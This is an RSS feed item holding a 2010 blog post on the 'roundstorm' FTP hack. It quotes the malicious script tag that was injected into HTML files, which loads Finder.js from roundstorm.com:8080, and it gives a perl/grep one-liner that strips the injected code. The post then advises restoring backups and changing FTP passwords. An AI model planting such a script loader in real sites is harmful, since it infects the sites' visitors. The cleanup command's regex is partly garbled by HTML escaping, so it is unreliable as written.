<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Everything I Like &#187; ftp</title>
	<atom:link href="http://www.everythingilike.com/tag/ftp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.everythingilike.com</link>
	<description>You Can&#039;t Kill Happy</description>
	<lastBuildDate>Mon, 30 Jan 2012 16:09:55 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>RoundStorm FTP Hack &#8211; Solution</title>
		<link>http://www.everythingilike.com/roundstorm-ftp-hack-solution</link>
		<comments>http://www.everythingilike.com/roundstorm-ftp-hack-solution#comments</comments>
		<pubDate>Wed, 14 Jul 2010 15:57:29 +0000</pubDate>
		<dc:creator>The Tick</dc:creator>
				<category><![CDATA[Websites]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[roundstorm]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.everythingilike.com/?p=791</guid>
		<description><![CDATA[<p>This past weekend a few of my FTP accounts got hacked via a Java virus that is being spread via roundstorm.com, I posted some more info and a fix below. </p> The following code was being injected into all Javascript files found via FTP. <p>&#160;</p> document.write&#40;''&#41;; All index/home/footer &#38; header HTML files had this code [...]]]></description>
			<content:encoded><![CDATA[<div id="in_post_ad_top_1" style="margin: 5px;padding: 0px;"><script type="text/javascript"><!--
google_ad_client = "ca-pub-8754379151679682";
/* Top of Content */
google_ad_slot = "4047312691";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div><p>This past weekend a few of my FTP accounts got hacked via a Java virus that is being spread via roundstorm.com, I posted some more info and a fix below. <span id="more-791"></span></p>
<div style="line-height: 1.5em; width: 95%;">
<ul>
<li> The following code was being injected into all <strong>Javascript</strong> files found via FTP.
<p>&nbsp;</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

</li>
<li> All index/home/footer &amp; header <strong>HTML</strong> files had this code
<p>&nbsp;</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://roundstorm.com:8080/Finder.js&quot;</span> type<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;&lt;!--</span>mce<span style="color: #339933;">:</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">--&gt;&lt;/</span>script<span style="color: #339933;">&gt;&lt;</span>br <span style="color: #339933;">/&gt;&lt;!--</span>4561fc54d91b71ee303e54dd3da18ccf<span style="color: #339933;">--&gt;</span></pre></div></div>

</li>
<li>
<h3>Solution</h3>
<p>Via shell access to your server you can run the following command:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">perl <span style="color: #339933;">-</span>pi <span style="color: #339933;">-</span>w <span style="color: #339933;">-</span>e <span style="color: #ff0000;">'s/(\n?)( ?)document.write.*ipt&amp;gt;.\);/ /g'</span> <span style="color: #ff0000;">`grep -ril roundstorm *`</span><span style="color: #339933;">&lt;</span>br <span style="color: #009966; font-style: italic;">/&gt;perl -pi -w -e 's/</span><span style="color: #339933;">.</span><span style="color: #0000ff;">*roundstorm</span><span style="color: #339933;">.*|.*</span>4561fc54d91b71ee303e54dd3da18ccf<span style="color: #339933;">.*/</span> <span style="color: #339933;">/</span>g<span style="color: #ff0000;">' `grep -ril 4561fc54d91b71ee303e54dd3da18ccf *`&lt;br /&gt;</span></pre></div></div>

<p><small><strong>NOTE</strong> Replace the unique identifier on the last line from &#8220;4561fc54d91b71ee303e54dd3da18ccf&#8221; to whatever is found in your html files. This command basically searches all files for the unique roundstorm identifier and removes it. This ID is going to be different for each FTP account that has been hacked.</small></p>
<p>This command finds all files infected with the roundstorm hack and remove the infected code.</p>
<p>After you clean up the files run a virus clean up on your computer. I used <a href="http://www.malwarebytes.org/">malwarebytes</a>. Also remember to upadate all your <strong>FTP PASSWORDS</strong> and <strong>DO NOT</strong> save any FTP information on your FTP Client.</p>
</li>
</ul>
</div>
<p>There is also another blogger reporting the same hack here: <a href="http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/" target="_BLANK">http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/</a></p>
<p> <strong>UPDATE: 07/21/2010</strong><br /> Other solutions:</p>
<ul>
<li>Restore a backup of the site. If you have cPanel or Plesk this should be easy.</li>
<li>If your site is in a version control system you can simply revert all changed files.</li>
<li>Nick, from our comments area below, suggested a PHP script would be more helpful for those users who do not have shell access. Let me know via the comments area if this is in high demand, I can probably devote some time to creating a script this week.</li>
</ul>
<p> For any questions regarding this post contact us at <a href="http://tritonweb.com/contact.php">http://tritonweb.com/contact.php</a></p>
<p>Leave a comment if you found this useful!</p>
<div style='clear:both'></div>]]></content:encoded>
			<wfw:commentRss>http://www.everythingilike.com/roundstorm-ftp-hack-solution/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced
Database Caching 7/13 queries in 0.007 seconds using memcached
Object Caching 970/973 objects using memcached
Content Delivery Network via static.everythingilike.com

Served from: www.everythingilike.com @ 2012-02-06 13:33:22 -->
